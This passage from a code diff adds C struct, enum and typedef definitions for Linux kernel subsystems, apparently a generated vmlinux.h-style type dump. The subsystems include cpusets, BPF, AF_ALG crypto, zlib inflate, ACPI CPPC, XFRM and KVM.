latch_tree_node *, struct latch_tree_node *); + int (*comp)(void *, struct latch_tree_node *); +}; + +enum tick_nohz_mode { + NOHZ_MODE_INACTIVE = 0, + NOHZ_MODE_LOWRES = 1, + NOHZ_MODE_HIGHRES = 2, +}; + +struct tick_sched { + unsigned int inidle: 1; + unsigned int tick_stopped: 1; + unsigned int idle_active: 1; + unsigned int do_timer_last: 1; + unsigned int got_idle_tick: 1; + unsigned int stalled_jiffies; + long unsigned int last_tick_jiffies; + struct hrtimer sched_timer; + ktime_t last_tick; + ktime_t next_tick; + long unsigned int idle_jiffies; + ktime_t idle_waketime; + seqcount_t idle_sleeptime_seq; + ktime_t idle_entrytime; + enum tick_nohz_mode nohz_mode; + long unsigned int last_jiffies; + u64 timer_expires_base; + u64 timer_expires; + u64 next_timer; + ktime_t idle_expires; + long unsigned int idle_calls; + long unsigned int idle_sleeps; + ktime_t idle_exittime; + ktime_t idle_sleeptime; + ktime_t iowait_sleeptime; + atomic_t tick_dep_mask; + long unsigned int check_clocks; +}; + +struct timer_list_iter { + int cpu; + bool second_pass; + u64 now; +}; + +enum pkey_id_type { + PKEY_ID_PGP = 0, + PKEY_ID_X509 = 1, + PKEY_ID_PKCS7 = 2, +}; + +struct module_signature { + u8 algo; + u8 hash; + u8 id_type; + u8 signer_len; + u8 key_id_len; + u8 __pad[3]; + __be32 sig_len; +}; + +struct sched_domain_attr { + int relax_domain_level; +}; + +struct fmeter { + int cnt; + int val; + time64_t time; + spinlock_t lock; +}; + +enum prs_errcode { + PERR_NONE = 0, + PERR_INVCPUS = 1, + PERR_INVPARENT = 2, + PERR_NOTPART = 3, + PERR_NOTEXCL = 4, + PERR_NOCPUS = 5, + PERR_HOTPLUG = 6, + PERR_CPUSEMPTY = 7, +}; + +struct cpuset { + struct cgroup_subsys_state css; + long unsigned int flags; + cpumask_var_t cpus_allowed; + nodemask_t mems_allowed; + cpumask_var_t effective_cpus; + nodemask_t effective_mems; + cpumask_var_t subparts_cpus; + nodemask_t old_mems_allowed; + struct fmeter fmeter; + int attach_in_progress; + int pn; + int relax_domain_level; + int nr_subparts_cpus; + int partition_root_state; + int use_parent_ecpus; + int child_ecpus_count; + enum prs_errcode prs_err; + struct cgroup_file partition_file; +}; + +struct tmpmasks { + cpumask_var_t addmask; + cpumask_var_t delmask; + cpumask_var_t new_cpus; +}; + +typedef enum { + CS_ONLINE = 0, + CS_CPU_EXCLUSIVE = 1, + CS_MEM_EXCLUSIVE = 2, + CS_MEM_HARDWALL = 3, + CS_MEMORY_MIGRATE = 4, + CS_SCHED_LOAD_BALANCE = 5, + CS_SPREAD_PAGE = 6, + CS_SPREAD_SLAB = 7, +} cpuset_flagbits_t; + +enum subparts_cmd { + partcmd_enable = 0, + partcmd_disable = 1, + partcmd_update = 2, + partcmd_invalidate = 3, +}; + +struct cpuset_migrate_mm_work { + struct work_struct work; + struct mm_struct *mm; + nodemask_t from; + nodemask_t to; +}; + +typedef enum { + FILE_MEMORY_MIGRATE = 0, + FILE_CPULIST = 1, + FILE_MEMLIST = 2, + FILE_EFFECTIVE_CPULIST = 3, + FILE_EFFECTIVE_MEMLIST = 4, + FILE_SUBPARTS_CPULIST = 5, + FILE_CPU_EXCLUSIVE = 6, + FILE_MEM_EXCLUSIVE = 7, + FILE_MEM_HARDWALL = 8, + FILE_SCHED_LOAD_BALANCE = 9, + FILE_PARTITION_ROOT = 10, + FILE_SCHED_RELAX_DOMAIN_LEVEL = 11, + FILE_MEMORY_PRESSURE_ENABLED = 12, + FILE_MEMORY_PRESSURE = 13, + FILE_SPREAD_PAGE = 14, + FILE_SPREAD_SLAB = 15, +} cpuset_filetype_t; + +struct bpf_event_entry { + struct perf_event *event; + struct file *perf_file; + struct file *map_file; + struct callback_head rcu; +}; + +struct bpf_iter_seq_array_map_info { + struct bpf_map *map; + void *percpu_value_buf; + u32 index; +}; + +struct prog_poke_elem { + struct list_head list; + struct bpf_prog_aux *aux; +}; + +struct mlock_fbatch { + local_lock_t lock; + struct folio_batch fbatch; +}; + +struct trace_event_raw_hugepage_set_pmd { + struct trace_entry ent; + long unsigned int addr; + long unsigned int pmd; + char __data[0]; +}; + +struct trace_event_raw_hugepage_update { + struct trace_entry ent; + long unsigned int addr; + long unsigned int pte; + long unsigned int clr; + long unsigned int set; + char __data[0]; +}; + +struct trace_event_raw_migration_pmd { + struct trace_entry ent; + long unsigned int addr; + long unsigned int pmd; + char __data[0]; +}; + +struct trace_event_data_offsets_hugepage_set_pmd {}; + +struct trace_event_data_offsets_hugepage_update {}; + +struct trace_event_data_offsets_migration_pmd {}; + +typedef void (*btf_trace_hugepage_set_pmd)(void *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_hugepage_update)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); + +typedef void (*btf_trace_set_migration_pmd)(void *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_remove_migration_pmd)(void *, long unsigned int, long unsigned int); + +struct postprocess_bh_ctx { + struct work_struct work; + struct buffer_head *bh; +}; + +struct bh_lru { + struct buffer_head *bhs[16]; +}; + +struct bh_accounting { + int nr; + int ratelimit; +}; + +struct mqueue_fs_context { + struct ipc_namespace *ipc_ns; + bool newns; +}; + +struct posix_msg_tree_node { + struct rb_node rb_node; + struct list_head msg_list; + int priority; +}; + +struct ext_wait_queue { + struct task_struct *task; + struct list_head list; + struct msg_msg *msg; + int state; +}; + +struct mqueue_inode_info { + spinlock_t lock; + struct inode vfs_inode; + wait_queue_head_t wait_q; + struct rb_root msg_tree; + struct rb_node *msg_tree_rightmost; + struct posix_msg_tree_node *node_cache; + struct mq_attr attr; + struct sigevent notify; + struct pid *notify_owner; + u32 notify_self_exec_id; + struct user_namespace *notify_user_ns; + struct ucounts *ucounts; + struct sock *notify_sock; + struct sk_buff *notify_cookie; + struct ext_wait_queue e_wait_q[2]; + long unsigned int qsize; +}; + +struct crypto_kpp { + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_istat_kpp { + atomic64_t setsecret_cnt; + atomic64_t generate_public_key_cnt; + atomic64_t compute_shared_secret_cnt; + atomic64_t err_cnt; +}; + +struct kpp_alg { + int (*set_secret)(struct crypto_kpp *, const void *, unsigned int); + int (*generate_public_key)(struct kpp_request *); + int (*compute_shared_secret)(struct kpp_request *); + unsigned int (*max_size)(struct crypto_kpp *); + int (*init)(struct crypto_kpp *); + void (*exit)(struct crypto_kpp *); + struct crypto_alg base; +}; + +struct kpp_instance { + void (*free)(struct kpp_instance *); + union { + struct { + char head[48]; + struct crypto_instance base; + } s; + struct kpp_alg alg; + }; +}; + +struct crypto_kpp_spawn { + struct crypto_spawn base; +}; + +struct sockaddr_alg_new { + __u16 salg_family; + __u8 salg_type[14]; + __u32 salg_feat; + __u32 salg_mask; + __u8 salg_name[0]; +}; + +struct af_alg_iv { + __u32 ivlen; + __u8 iv[0]; +}; + +struct af_alg_control { + struct af_alg_iv *iv; + int op; + unsigned int aead_assoclen; +}; + +struct af_alg_tsgl { + struct list_head list; + unsigned int cur; + struct scatterlist sg[0]; +}; + +struct af_alg_rsgl { + struct af_alg_sgl sgl; + struct list_head list; + size_t sg_num_bytes; +}; + +struct af_alg_async_req { + struct kiocb *iocb; + struct sock *sk; + struct af_alg_rsgl first_rsgl; + struct af_alg_rsgl *last_rsgl; + struct list_head rsgl_list; + struct scatterlist *tsgl; + unsigned int tsgl_entries; + unsigned int outlen; + unsigned int areqlen; + union { + struct aead_request aead_req; + struct skcipher_request skcipher_req; + } cra_u; +}; + +struct af_alg_ctx { + struct list_head tsgl_list; + void *iv; + size_t aead_assoclen; + struct crypto_wait wait; + size_t used; + atomic_t rcvused; + bool more; + bool merge; + bool enc; + bool init; + unsigned int len; +}; + +struct alg_type_list { + const struct af_alg_type *type; + struct list_head list; +}; + +struct latency_bucket { + long unsigned int total_latency; + int samples; +}; + +struct avg_latency_bucket { + long unsigned int latency; + bool valid; +}; + +struct throtl_data { + struct throtl_service_queue service_queue; + struct request_queue *queue; + unsigned int nr_queued[2]; + unsigned int throtl_slice; + struct work_struct dispatch_work; + unsigned int limit_index; + bool limit_valid[2]; + long unsigned int low_upgrade_time; + long unsigned int low_downgrade_time; + unsigned int scale; + struct latency_bucket tmp_buckets[18]; + struct avg_latency_bucket avg_buckets[18]; + struct latency_bucket *latency_buckets[2]; + long unsigned int last_calculate_time; + long unsigned int filtered_latency; + bool track_bio_latency; +}; + +enum tg_state_flags { + THROTL_TG_PENDING = 1, + THROTL_TG_WAS_EMPTY = 2, + THROTL_TG_CANCELING = 4, +}; + +typedef void (*swap_r_func_t)(void *, void *, int, const void *); + +typedef void (*swap_func_t)(void *, void *, int); + +typedef int (*cmp_r_func_t)(const void *, const void *, const void *); + +struct wrapper { + cmp_func_t cmp; + swap_func_t swap; +}; + +typedef unsigned int uInt; + +typedef struct z_stream_s z_stream; + +typedef z_stream *z_streamp; + +typedef enum { + HEAD = 0, + FLAGS = 1, + TIME = 2, + OS = 3, + EXLEN = 4, + EXTRA = 5, + NAME = 6, + COMMENT = 7, + HCRC = 8, + DICTID = 9, + DICT = 10, + TYPE = 11, + TYPEDO = 12, + STORED = 13, + COPY = 14, + TABLE = 15, + LENLENS = 16, + CODELENS = 17, + LEN = 18, + LENEXT = 19, + DIST = 20, + DISTEXT = 21, + MATCH = 22, + LIT = 23, + CHECK = 24, + LENGTH = 25, + DONE = 26, + BAD = 27, + MEM = 28, + SYNC = 29, +} inflate_mode; + +struct inflate_state { + inflate_mode mode; + int last; + int wrap; + int havedict; + int flags; + unsigned int dmax; + long unsigned int check; + long unsigned int total; + unsigned int wbits; + unsigned int wsize; + unsigned int whave; + unsigned int write; + unsigned char *window; + long unsigned int hold; + unsigned int bits; + unsigned int length; + unsigned int offset; + unsigned int extra; + const code *lencode; + const code *distcode; + unsigned int lenbits; + unsigned int distbits; + unsigned int ncode; + unsigned int nlen; + unsigned int ndist; + unsigned int have; + code *next; + short unsigned int lens[320]; + short unsigned int work[288]; + code codes[2048]; +}; + +struct inflate_workspace { + struct inflate_state inflate_state; + unsigned char working_window[32768]; +}; + +struct irq_poll; + +typedef int irq_poll_fn(struct irq_poll *, int); + +struct irq_poll { + struct list_head list; + long unsigned int state; + int weight; + irq_poll_fn *poll; +}; + +enum { + IRQ_POLL_F_SCHED = 0, + IRQ_POLL_F_DISABLE = 1, +}; + +struct pcie_pme_service_data { + spinlock_t lock; + struct pcie_device *srv; + struct work_struct work; + bool noirq; +}; + +typedef enum { + ACPI_TRACE_AML_METHOD = 0, + ACPI_TRACE_AML_OPCODE = 1, + ACPI_TRACE_AML_REGION = 2, +} acpi_trace_event_type; + +struct acpi_vendor_uuid { + u8 subtype; + u8 data[16]; +}; + +typedef acpi_status (*acpi_walk_resource_callback)(struct acpi_resource *, void *); + +struct acpi_vendor_walk_info { + struct acpi_vendor_uuid *uuid; + struct acpi_buffer *buffer; + acpi_status status; +}; + +struct acpi_pcct_shared_memory { + u32 signature; + u16 command; + u16 status; +}; + +struct cpc_reg { + u8 descriptor; + u16 length; + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_width; + u64 address; +} __attribute__((packed)); + +struct cpc_register_resource { + acpi_object_type type; + u64 *sys_mem_vaddr; + union { + struct cpc_reg reg; + u64 int_value; + } cpc_entry; +}; + +struct cpc_desc { + int num_entries; + int version; + int cpu_id; + int write_cmd_status; + int write_cmd_id; + struct cpc_register_resource cpc_regs[21]; + struct acpi_psd_package domain_info; + struct kobject kobj; +}; + +enum cppc_regs { + HIGHEST_PERF = 0, + NOMINAL_PERF = 1, + LOW_NON_LINEAR_PERF = 2, + LOWEST_PERF = 3, + GUARANTEED_PERF = 4, + DESIRED_PERF = 5, + MIN_PERF = 6, + MAX_PERF = 7, + PERF_REDUC_TOLERANCE = 8, + TIME_WINDOW = 9, + CTR_WRAP_TIME = 10, + REFERENCE_CTR = 11, + DELIVERED_CTR = 12, + PERF_LIMITED = 13, + ENABLE = 14, + AUTO_SEL_ENABLE = 15, + AUTO_ACT_WINDOW = 16, + ENERGY_PERF = 17, + REFERENCE_PERF = 18, + LOWEST_FREQ = 19, + NOMINAL_FREQ = 20, +}; + +struct cppc_perf_ctrls { + u32 max_perf; + u32 min_perf; + u32 desired_perf; + u32 energy_perf; +}; + +struct cppc_perf_fb_ctrs { + u64 reference; + u64 delivered; + u64 reference_perf; + u64 wraparound_time; +}; + +struct cppc_cpudata { + struct list_head node; + struct cppc_perf_caps perf_caps; + struct cppc_perf_ctrls perf_ctrls; + struct cppc_perf_fb_ctrs perf_fb_ctrs; + unsigned int shared_type; + cpumask_var_t shared_cpu_map; +}; + +struct cppc_pcc_data { + struct pcc_mbox_chan *pcc_channel; + void *pcc_comm_addr; + bool pcc_channel_acquired; + unsigned int deadline_us; + unsigned int pcc_mpar; + unsigned int pcc_mrtt; + unsigned int pcc_nominal; + bool pending_pcc_write_cmd; + bool platform_owns_pcc; + unsigned int pcc_write_cnt; + struct rw_semaphore pcc_lock; + wait_queue_head_t pcc_write_wait_q; + ktime_t last_cmd_cmpl_time; + ktime_t last_mpar_reset; + int mpar_count; + int refcount; +}; + +struct software_node { + const char *name; + const struct software_node *parent; + const struct property_entry *properties; +}; + +struct exar8250_platform { + int (*rs485_config)(struct uart_port *, struct ktermios *, struct serial_rs485 *); + const struct serial_rs485 *rs485_supported; + int (*register_gpio)(struct pci_dev *, struct uart_8250_port *); + void (*unregister_gpio)(struct uart_8250_port *); +}; + +struct exar8250; + +struct exar8250_board { + unsigned int num_ports; + unsigned int reg_shift; + int (*setup)(struct exar8250 *, struct pci_dev *, struct uart_8250_port *, int); + void (*exit)(struct pci_dev *); +}; + +struct exar8250 { + unsigned int nr; + struct exar8250_board *board; + void *virt; + int line[0]; +}; + +enum dpm_order { + DPM_ORDER_NONE = 0, + DPM_ORDER_DEV_AFTER_PARENT = 1, + DPM_ORDER_PARENT_BEFORE_DEV = 2, + DPM_ORDER_DEV_LAST = 3, +}; + +struct fwnode_link { + struct fwnode_handle *supplier; + struct list_head s_hook; + struct fwnode_handle *consumer; + struct list_head c_hook; + u8 flags; +}; + +union device_attr_group_devres { + const struct attribute_group *group; + const struct attribute_group **groups; +}; + +struct class_dir { + struct kobject kobj; + const struct class *class; +}; + +struct root_device { + struct device dev; + struct module *owner; +}; + +struct byd_data { + struct timer_list timer; + struct psmouse *psmouse; + s32 abs_x; + s32 abs_y; + volatile long unsigned int last_touch_time; + bool btn_left; + bool btn_right; + bool touch; +}; + +struct firmware_map_entry { + u64 start; + u64 end; + const char *type; + struct list_head list; + struct kobject kobj; +}; + +struct memmap_attribute { + struct attribute attr; + ssize_t (*show)(struct firmware_map_entry *, char *); +}; + +struct gnet_stats_rate_est64 { + __u64 bps; + __u64 pps; +}; + +struct gnet_estimator { + signed char interval; + unsigned char ewma_log; +}; + +struct net_rate_estimator { + struct gnet_stats_basic_sync *bstats; + spinlock_t *stats_lock; + bool running; + struct gnet_stats_basic_sync *cpu_bstats; + u8 ewma_log; + u8 intvl_log; + seqcount_t seq; + u64 last_packets; + u64 last_bytes; + u64 avpps; + u64 avbps; + long unsigned int next_jiffies; + struct timer_list timer; + struct callback_head rcu; +}; + +struct linkmodes_reply_data { + struct ethnl_reply_data base; + struct ethtool_link_ksettings ksettings; + struct ethtool_link_settings *lsettings; + bool peer_empty; +}; + +struct nf_hook_entries_rcu_head { + struct callback_head head; + void *allocation; +}; + +struct fib4_rule { + struct fib_rule common; + u8 dst_len; + u8 src_len; + dscp_t dscp; + __be32 src; + __be32 srcmask; + __be32 dst; + __be32 dstmask; +}; + +enum { + XFRM_SHARE_ANY = 0, + XFRM_SHARE_SESSION = 1, + XFRM_SHARE_USER = 2, + XFRM_SHARE_UNIQUE = 3, +}; + +struct xfrm_user_sec_ctx { + __u16 len; + __u16 exttype; + __u8 ctx_alg; + __u8 ctx_doi; + __u16 ctx_len; +}; + +struct xfrm_user_tmpl { + struct xfrm_id id; + __u16 family; + xfrm_address_t saddr; + __u32 reqid; + __u8 mode; + __u8 share; + __u8 optional; + __u32 aalgos; + __u32 ealgos; + __u32 calgos; +}; + +struct xfrm_userpolicy_type { + __u8 type; + __u16 reserved1; + __u8 reserved2; +}; + +enum xfrm_sadattr_type_t { + XFRMA_SAD_UNSPEC = 0, + XFRMA_SAD_CNT = 1, + XFRMA_SAD_HINFO = 2, + __XFRMA_SAD_MAX = 3, +}; + +struct xfrmu_sadhinfo { + __u32 sadhcnt; + __u32 sadhmcnt; +}; + +enum xfrm_spdattr_type_t { + XFRMA_SPD_UNSPEC = 0, + XFRMA_SPD_INFO = 1, + XFRMA_SPD_HINFO = 2, + XFRMA_SPD_IPV4_HTHRESH = 3, + XFRMA_SPD_IPV6_HTHRESH = 4, + __XFRMA_SPD_MAX = 5, +}; + +struct xfrmu_spdinfo { + __u32 incnt; + __u32 outcnt; + __u32 fwdcnt; + __u32 inscnt; + __u32 outscnt; + __u32 fwdscnt; +}; + +struct xfrmu_spdhinfo { + __u32 spdhcnt; + __u32 spdhmcnt; +}; + +struct xfrmu_spdhthresh { + __u8 lbits; + __u8 rbits; +}; + +struct xfrm_usersa_info { + struct xfrm_selector sel; + struct xfrm_id id; + xfrm_address_t saddr; + struct xfrm_lifetime_cfg lft; + struct xfrm_lifetime_cur curlft; + struct xfrm_stats stats; + __u32 seq; + __u32 reqid; + __u16 family; + __u8 mode; + __u8 replay_window; + __u8 flags; +}; + +struct xfrm_usersa_id { + xfrm_address_t daddr; + __be32 spi; + __u16 family; + __u8 proto; +}; + +struct xfrm_aevent_id { + struct xfrm_usersa_id sa_id; + xfrm_address_t saddr; + __u32 flags; + __u32 reqid; +}; + +struct xfrm_userspi_info { + struct xfrm_usersa_info info; + __u32 min; + __u32 max; +}; + +struct xfrm_userpolicy_info { + struct xfrm_selector sel; + struct xfrm_lifetime_cfg lft; + struct xfrm_lifetime_cur curlft; + __u32 priority; + __u32 index; + __u8 dir; + __u8 action; + __u8 flags; + __u8 share; +}; + +struct xfrm_userpolicy_id { + struct xfrm_selector sel; + __u32 index; + __u8 dir; +}; + +struct xfrm_user_acquire { + struct xfrm_id id; + xfrm_address_t saddr; + struct xfrm_selector sel; + struct xfrm_userpolicy_info policy; + __u32 aalgos; + __u32 ealgos; + __u32 calgos; + __u32 seq; +}; + +struct xfrm_user_expire { + struct xfrm_usersa_info state; + __u8 hard; +}; + +struct xfrm_user_polexpire { + struct xfrm_userpolicy_info pol; + __u8 hard; +}; + +struct xfrm_usersa_flush { + __u8 proto; +}; + +struct xfrm_user_report { + __u8 proto; + struct xfrm_selector sel; +}; + +struct xfrm_user_mapping { + struct xfrm_usersa_id id; + __u32 reqid; + xfrm_address_t old_saddr; + xfrm_address_t new_saddr; + __be16 old_sport; + __be16 new_sport; +}; + +struct xfrm_user_offload { + int ifindex; + __u8 flags; +}; + +struct xfrm_userpolicy_default { + __u8 in; + __u8 fwd; + __u8 out; +}; + +enum { + XFRM_DEV_OFFLOAD_IN = 1, + XFRM_DEV_OFFLOAD_OUT = 2, + XFRM_DEV_OFFLOAD_FWD = 3, +}; + +struct xfrm_dump_info { + struct sk_buff *in_skb; + struct sk_buff *out_skb; + u32 nlmsg_seq; + u16 nlmsg_flags; +}; + +struct xfrm_link { + int (*doit)(struct sk_buff *, struct nlmsghdr *, struct nlattr **, struct netlink_ext_ack *); + int (*start)(struct netlink_callback *); + int (*dump)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + const struct nla_policy *nla_pol; + int nla_max; +}; + +enum devlink_attr_selftest_id { + DEVLINK_ATTR_SELFTEST_ID_UNSPEC = 0, + DEVLINK_ATTR_SELFTEST_ID_FLASH = 1, + __DEVLINK_ATTR_SELFTEST_ID_MAX = 2, + DEVLINK_ATTR_SELFTEST_ID_MAX = 1, +}; + +enum devlink_attr_selftest_result { + DEVLINK_ATTR_SELFTEST_RESULT_UNSPEC = 0, + DEVLINK_ATTR_SELFTEST_RESULT = 1, + DEVLINK_ATTR_SELFTEST_RESULT_ID = 2, + DEVLINK_ATTR_SELFTEST_RESULT_STATUS = 3, + __DEVLINK_ATTR_SELFTEST_RESULT_MAX = 4, + DEVLINK_ATTR_SELFTEST_RESULT_MAX = 3, +}; + +struct devlink_flash_notify { + const char *status_msg; + const char *component; + long unsigned int done; + long unsigned int total; + long unsigned int timeout; +}; + +struct devlink_info_req { + struct sk_buff *msg; + void (*version_cb)(const char *, enum devlink_info_version_type, void *); + void *version_cb_priv; +}; + +struct devlink_reload_combination { + enum devlink_reload_action action; + enum devlink_reload_limit limit; +}; + +struct devlink_flash_component_lookup_ctx { + const char *lookup_name; + bool lookup_name_found; +}; + +struct vsock_diag_req { + __u8 sdiag_family; + __u8 sdiag_protocol; + __u16 pad; + __u32 vdiag_states; + __u32 vdiag_ino; + __u32 vdiag_show; + __u32 vdiag_cookie[2]; +}; + +struct vsock_diag_msg { + __u8 vdiag_family; + __u8 vdiag_type; + __u8 vdiag_state; + __u8 vdiag_shutdown; + __u32 vdiag_src_cid; + __u32 vdiag_src_port; + __u32 vdiag_dst_cid; + __u32 vdiag_dst_port; + __u32 vdiag_ino; + __u32 vdiag_cookie[2]; +}; + +struct interval_tree_node { + struct rb_node rb; + long unsigned int start; + long unsigned int last; + long unsigned int __subtree_last; +}; + +struct kvm_regs { + __u64 rax; + __u64 rbx; + __u64 rcx; + __u64 rdx; + __u64 rsi; + __u64 rdi; + __u64 rsp; + __u64 rbp; + __u64 r8; + __u64 r9; + __u64 r10; + __u64 r11; + __u64 r12; + __u64 r13; + __u64 r14; + __u64 r15; + __u64 rip; + __u64 rflags; +}; + +struct kvm_segment { + __u64 base; + __u32 limit; + __u16 selector; + __u8 type; + __u8 present; + __u8 dpl; + __u8 db; + __u8 s; + __u8 l; + __u8 g; + __u8 avl; + __u8 unusable; + __u8 padding; +}; + +struct kvm_dtable { + __u64 base; + __u16 limit; + __u16 padding[3]; +}; + +struct kvm_sregs { + struct kvm_segment cs; + struct kvm_segment ds; + struct kvm_segment es; + struct kvm_segment fs; + struct kvm_segment gs; + struct kvm_segment ss; + struct kvm_segment tr; + struct kvm_segment ldt; + struct kvm_dtable gdt; + struct kvm_dtable idt; + __u64 cr0; + __u64 cr2; + __u64 cr3; + __u64 cr4; + __u64 cr8; + __u64 efer; + __u64 apic_base; + __u64 interrupt_bitmap[4]; +}; + +struct kvm_msr_entry { + __u32 index; + __u32 reserved; + __u64 data; +}; + +struct kvm_cpuid_entry2 { + __u32 function; + __u32 index; + __u32 flags; + __u32 eax; + __u32 ebx; + __u32 ecx; + __u32 edx; + __u32 padding[3]; +}; + +struct kvm_debug_exit_arch { + __u32 exception; + __u32 pad; + __u64 pc; + __u64 dr6; + __u64 dr7; +}; + +struct kvm_vcpu_events { + struct { + __u8 injected; + __u8 nr; + __u8 has_error_code; + __u8 pending; + __u32 error_code; + } exception; + struct { + __u8 injected; + __u8 nr; + __u8 soft; + __u8 shadow; + } interrupt; + struct { + __u8 injected; + __u8 pending; + __u8 masked; + __u8 pad; + } nmi; + __u32 sipi_vector; + __u32 flags; + struct { + __u8 smm; + __u8 pending; + __u8 smm_inside_nmi; + __u8 latched_init; + } smi; + struct { + __u8 pending; + } triple_fault; + __u8 reserved[26]; + __u8 exception_has_payload; + __u64 exception_payload; +}; + +struct kvm_sync_regs { + struct kvm_regs regs; + struct kvm_sregs sregs; + struct kvm_vcpu_events events; +}; + +struct kvm_vmx_nested_state_data { + __u8 vmcs12[4096]; + __u8 shadow_vmcs12[4096]; +}; + +struct kvm_vmx_nested_state_hdr { + __u64 vmxon_pa; + __u64 vmcs12_pa; + struct { + __u16 flags; + } smm; + __u16 pad; + __u32 flags; + __u64 preemption_timer_deadline; +}; + +struct kvm_svm_nested_state_data { + __u8 vmcb12[4096]; +}; + +struct kvm_svm_nested_state_hdr { + __u64 vmcb_pa; +}; + +struct kvm_nested_state { + __u16 flags; + __u16 format; + __u32 size; + union { + struct kvm_vmx_nested_state_hdr vmx; + struct kvm_svm_nested_state_hdr svm; + __u8 pad[120]; + } hdr; + union { + struct { + struct {} __empty_vmx; + struct kvm_vmx_nested_state_data vmx[0]; + }; + struct { + struct {} __empty_svm; + struct kvm_svm_nested_state_data svm[0]; + }; + } data; +}; + +struct kvm_hyperv_exit { + __u32 type; + __u32 pad1; + union { + struct { + __u32 msr; + __u32 pad2; + __u64 control; + __u64 evt_page; + __u64 msg_page; + } synic; + struct { + __u64 input; + __u64 result; + __u64 params[2]; + } hcall; + struct { + __u32 msr; + __u32 pad2; + __u64 control; + __u64 status; + __u64 send_page; + __u64 recv_page; + __u64 pending_page; + } syndbg; + } u; +}; + +struct kvm_xen_exit { + __u32 type; + union { + struct { + __u32 longmode; + __u32 cpl; + __u64 input; + __u64 result; + __u64 params[6]; + } hcall; + } u; +}; + +struct kvm_run { + __u8 request_interrupt_window; + __u8 immediate_exit; + __u8 padding1[6]; + __u32 exit_reason; + __u8 ready_for_interrupt_injection; + __u8 if_flag; + __u16 flags; + __u64 cr8; + __u64 apic_base; + union { + struct { + __u64 hardware_exit_reason; + } hw; + struct { + __u64 hardware_entry_failure_reason; + __u32 cpu; + } fail_entry; + struct { + __u32 exception; + __u32 error_code; + } ex; + struct { + __u8 direction; + __u8 size; + __u16 port; + __u32 count; + __u64 data_offset; + } io; + struct { + struct kvm_debug_exit_arch arch; + } debug; + struct { + __u64 phys_addr; + __u8 data[8]; + __u32 len; + __u8 is_write; + } mmio; + struct { + __u64 nr; + __u64 args[6]; + __u64 ret; + union { + __u64 flags; + }; + } hypercall; + struct { + __u64 rip; + __u32 is_write; + __u32 pad; + } tpr_access; + struct { + __u8 icptcode; + __u16 ipa; + __u32 ipb; + } s390_sieic; + __u64 s390_reset_flags; + struct { + __u64 trans_exc_code; + __u32 pgm_code; + } s390_ucontrol; + struct { + __u32 dcrn; + __u32 data; + __u8 is_write; + } dcr; + struct { + __u32 suberror; + __u32 ndata; + __u64 data[16]; + } internal; + struct { + __u32 suberror; + __u32 ndata; + __u64 flags; + union { + struct { + __u8 insn_size; + __u8 insn_bytes[15]; + }; + }; + } emulation_failure; + struct { + __u64 gprs[32]; + } osi; + struct { + __u64 nr; + __u64 ret; + __u64 args[9]; + } papr_hcall; + struct { + __u16 subchannel_id; + __u16 subchannel_nr; + __u32 io_int_parm; + __u32 io_int_word; + __u32 ipb; + __u8 dequeued; + } s390_tsch; + struct { + __u32 epr; + } epr; + struct { + __u32 type; + __u32 ndata; + union { + __u64 data[16]; + }; + } system_event; + struct { + __u64 addr; + __u8 ar; + __u8 reserved; + __u8 fc; + __u8 sel1; + __u16 sel2; + } s390_stsi; + struct { + __u8 vector; + } eoi; + struct kvm_hyperv_exit hyperv; + struct { + __u64 esr_iss; + __u64 fault_ipa; + } arm_nisv; + struct { + __u8 error; + __u8 pad[7]; + __u32 reason; + __u32 index; + __u64 data; + } msr; + struct kvm_xen_exit xen; + struct { + long unsigned int extension_id; + long unsigned int function_id; + long unsigned int args[6]; + long unsigned int ret[2]; + } riscv_sbi; + struct { + long unsigned int csr_num; + long unsigned int new_value; + long unsigned int write_mask; + long unsigned int ret_value; + } riscv_csr; + struct { + __u32 flags; + } notify; + char padding[256]; + }; + __u64 kvm_valid_regs; + __u64 kvm_dirty_regs; + union { + struct kvm_sync_regs regs; + char padding[2048]; + } s; +}; + +struct kvm_xen_hvm_config { + __u32 flags; + __u32 msr; + __u64 blob_addr_32; + __u64 blob_addr_64; + __u8 blob_size_32; + __u8 blob_size_64; + __u8 pad2[30]; +}; + +struct kvm_device_attr { + __u32 flags; + __u32 group; + __u64 attr; + __u64 addr; +}; + +struct kvm_enc_region { + __u64 addr; + __u64 size; +}; + +struct kvm_dirty_gfn { + __u32 flags; + __u32 slot; + __u64 offset; +}; + +struct kvm_stats_header { + __u32 flags; + __u32 name_size; + __u32 num_desc; + __u32 id_offset; + __u32 desc_offset; + __u32 data_offset; +}; + +struct kvm_stats_desc { + __u32 flags; + __s16 exponent; + __u16 size; + __u32 offset; + __u32 bucket_size; + char name[0]; +}; + +typedef long unsigned int gva_t; + +typedef u64 gpa_t; + +typedef u64 gfn_t; + +typedef u64 hpa_t; + +typedef u64 hfn_t; + +typedef hfn_t kvm_pfn_t; + +enum pfn_cache_usage { + KVM_GUEST_USES_PFN = 1, + KVM_HOST_USES_PFN = 2, + KVM_GUEST_AND_HOST_USE_PFN = 3, +}; + +struct kvm_memory_slot; + +struct gfn_to_hva_cache { + u64 generation; + gpa_t gpa; + long unsigned int hva; + long unsigned int len; + struct kvm_memory_slot *memslot; +}; + +struct kvm_rmap_head; + +struct kvm_lpage_info; + +struct kvm_arch_memory_slot { + struct kvm_rmap_head *rmap[3]; + struct kvm_lpage_info *lpage_info[2]; + short unsigned int *gfn_track[1]; +}; + +struct kvm_memory_slot { + struct hlist_node id_node[2]; + struct interval_tree_node hva_node[2]; + struct rb_node gfn_node[2]; + gfn_t base_gfn; + long unsigned int npages; + long unsigned int *dirty_bitmap; + struct kvm_arch_memory_slot arch; + long unsigned int userspace_addr; + u32 flags; + short int id; + u16 as_id; +}; + +struct kvm; + +struct kvm_vcpu; + +struct gfn_to_pfn_cache { + u64 generation; + gpa_t gpa; + long unsigned int uhva; + struct kvm_memory_slot *memslot; + struct kvm *kvm; + struct kvm_vcpu *vcpu; + struct list_head list; + rwlock_t lock; + struct mutex refresh_lock; + void *khva; + kvm_pfn_t pfn; + enum pfn_cache_usage usage; + bool active; + bool valid; +}; + +struct kvm_memslots { + u64 generation; + atomic_long_t last_used_slot; + struct rb_root_cached hva_tree; + struct rb_root gfn_tree; + struct hlist_head id_hash[128]; + int node_idx; +}; + +struct kvm_vm_stat_generic { + u64 remote_tlb_flush; + u64 